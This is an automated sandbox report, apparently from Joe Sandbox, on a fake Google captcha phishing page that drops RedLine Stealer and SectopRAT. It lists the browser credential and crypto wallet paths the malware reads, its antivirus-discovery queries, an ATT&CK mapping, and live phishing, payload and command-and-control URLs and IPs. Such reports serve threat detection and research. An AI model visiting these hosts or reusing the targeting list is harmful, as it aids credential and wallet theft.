Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6416, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bihsngcs, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6416, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6416, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bihsngcs, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6416, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bihsngcs, type: DROPPED

Yara detected SectopRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6416, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Browser Extensions	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	213 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	421 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://cta.berlmember.com/google/captcha.html	100%	Avira URL Cloud	phishing

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\bihsngcs	100%	Avira	HEUR/AGEN.1307453
C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MaxiAir\CDLMSO.DLL	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MaxiAir\MSOCF.DLL	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MaxiAir\OISAPP.DLL	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MaxiAir\OISGRAPH.DLL	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\bihsngcs	88%	ReversingLabs	ByteCode-MSIL.Ransomware.RedLine
C:\Users\user\AppData\Roaming\HZ_service\CDLMSO.DLL	0%	ReversingLabs
C:\Users\user\AppData\Roaming\HZ_service\MSOCF.DLL	0%	ReversingLabs
C:\Users\user\AppData\Roaming\HZ_service\OISAPP.DLL	0%	ReversingLabs
C:\Users\user\AppData\Roaming\HZ_service\OISGRAPH.DLL	0%	ReversingLabs
C:\Users\user\AppData\Roaming\HZ_service\msvcr90.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://schemas.datacontract.org/2004/07/h	0%	Avira URL Cloud	safe
http://update-connection-to.help	0%	Avira URL Cloud	safe
https://go.microX	0%	Avira URL Cloud	safe
https://update-connection-to.help/factory/girl	0%	Avira URL Cloud	safe
http://45.61.157.205	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/l	0%	Avira URL Cloud	safe
https://cta.berlmember.com/favicon.ico	100%	Avira URL Cloud	phishing
http://pesterbdd.com/images/Pester.pngh/u	0%	Avira URL Cloud	safe
http://45.61.1HjB	0%	Avira URL Cloud	safe
http://92.255.85.36:9000/wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99	0%	Avira URL Cloud	safe
http://92.255.85.36:9000	0%	Avira URL Cloud	safe
http://92.255.85.36:	0%	Avira URL Cloud	safe
http://45.61.157.205/f1/red	100%	Avira URL Cloud	malware
https://update-connection-to.help	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
t-9999.t-msedge.net	13.107.213.254	true	false	high
www.shorturl.at	172.67.69.88	true	false	high
shorturl.at	104.26.9.129	true	false	high
www.google.com	172.217.16.196	true	false	high
cta.berlmember.com	103.52.144.214	true	false	high
update-connection-to.help	104.21.68.54	true	false	unknown
q-9999.standard.q-msedge.net	13.107.49.254	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://shorturl.at/qTlJM	false		high
https://www.shorturl.at/qTlJM	false		high
https://cta.berlmember.com/google/captcha.html	true		unknown
https://update-connection-to.help/factory/girl	false	Avira URL Cloud: safe	unknown
http://92.255.85.36:9000/wbinjget?q=6AEDC914829F8EAA95EB40B1CE375D99	true	Avira URL Cloud: safe	unknown
https://cta.berlmember.com/favicon.ico	true	Avira URL Cloud: phishing	unknown
http://45.61.157.205/f1/red	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000D.00000002.1698923339.0000016DF60D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.shorturl.at	powershell.exe, 0000000D.00000002.1670469425.0000016DDE064000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/DWCCqGB0	MSBuild.exe, 00000012.00000002.2422367778.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.microX	powershell.exe, 0000000D.00000002.1670469425.0000016DDF7AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDFAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF890000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B30000.00000004.00000800.00020000.00000000.sdmp	false		high
http://shorturl.at	powershell.exe, 0000000D.00000002.1670469425.0000016DDF2D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://update-connection-to.help	powershell.exe, 0000000D.00000002.1670469425.0000016DDF363000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.shorturl.at	powershell.exe, 0000000D.00000002.1670469425.0000016DDF2FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vmware.com/0/	AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shorturl.at	powershell.exe, 0000000D.00000002.1670469425.0000016DDE014000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDF273000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlh/u	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelph/u	powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/l	MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.pngh/u	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shorturl.at/qTlJMh/u	powershell.exe, 0000000D.00000002.1670469425.0000016DDE014000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 0000000D.00000002.1696753146.0000016DF5EB0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/h	MSBuild.exe, 00000012.00000002.2422367778.0000000003038000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	AUpdate.exe, 0000000F.00000002.1717199937.00000000094F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.1692144665.0000016DEDCE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	AUpdate.exe, 0000000F.00000002.1717199937.000000000949D000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1919073708.0000000005139000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.61.157.205	powershell.exe, 0000000D.00000002.1670469425.0000016DDF168000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pesterh/u	powershell.exe, 0000000D.00000002.1670469425.0000016DDDE92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.61.1HjB	powershell.exe, 0000000D.00000002.1670469425.0000016DDF26D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.255.85.36:9000	MSBuild.exe, 00000012.00000002.2422367778.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.1670469425.0000016DDDC71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://92.255.85.36:	MSBuild.exe, 00000012.00000002.2422367778.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002B99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.1670469425.0000016DDDC71000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2422367778.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://update-connection-to.help	powershell.exe, 0000000D.00000002.1670469425.0000016DDF363000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1670469425.0000016DDE0BD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.68.54	update-connection-to.help	United States	13335	CLOUDFLARENETUS	false
103.52.144.214	cta.berlmember.com	Indonesia	59147	IDNIC-DRUPADI-AS-IDPTDrupadiPrimaID	false
104.26.9.129	shorturl.at	United States	13335	CLOUDFLARENETUS	false
172.67.69.88	www.shorturl.at	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
92.255.85.36	unknown	Russian Federation	42097	SOVTEL-ASRU	true
45.61.157.205	unknown	United States	46261	QUICKPACKETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1625946
Start date and time:	2025-02-27 20:23:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://cta.berlmember.com/google/captcha.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.win@32/46@12/9

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.185.78, 64.233.166.84, 142.250.186.46, 142.250.186.142, 142.250.186.78, 172.217.23.99, 142.250.185.131, 142.251.41.14, 74.125.155.41, 23.199.214.10, 20.109.210.53, 2.16.100.168, 88.221.110.91, 20.242.39.171, 20.190.160.14, 40.126.32.74, 20.190.160.130, 20.190.160.2, 20.190.160.4, 20.190.160.22, 40.126.32.68, 20.190.160.131, 13.95.31.18, 142.250.181.227, 34.104.35.123, 216.58.206.46, 13.107.246.60, 204.79.197.200, 51.104.15.253, 204.79.197.222, 13.107.49.254, 13.107.213.254
Excluded domains from analysis (whitelisted): fp.msedge.net, r4---sn-p5qlsnrl.gvt1.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, redirector.gvt1.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, www.bing.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, q-ring.msedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, t-ring.msedge.net, r4.sn-p5qlsnrl.gvt1.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://cta.berlmember.com/google/captcha.html

Simulations

Behavior and APIs

Time	Type	Description
14:25:01	API Interceptor	46x Sleep call for process: powershell.exe modified
14:25:27	API Interceptor	1x Sleep call for process: cmd.exe modified
14:25:39	API Interceptor	1158x Sleep call for process: MSBuild.exe modified

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19360
Entropy (8bit):	5.5025294282424255
Encrypted:	false
SSDEEP:	384:I8kjrbVMuQAzOO7Ppv4SR6XJqazbeqUh5a5Thpr843tI4x8kirb18ALf:dWrxM1KPKPXJqaveJKV8DFb+Af
MD5:	84F34DF195A338CADAFB682B7327916D
SHA1:	D0FC472A34A682F7623352949E3240823B6A4CE4
SHA-256:	543899B06419475990AE8607D8A73258A2FDA9D7EE6713819146594C141A8538
SHA-512:	70AB44E3F2510ABAD0C0222E0A03871900E49C4B7D65BCCF98C39CC6793668CBB0BAA3A00BD7F229F43D68F732989852CE60CE77838DB3E334047FC2E472FDCA
Malicious:	false
Reputation:	low
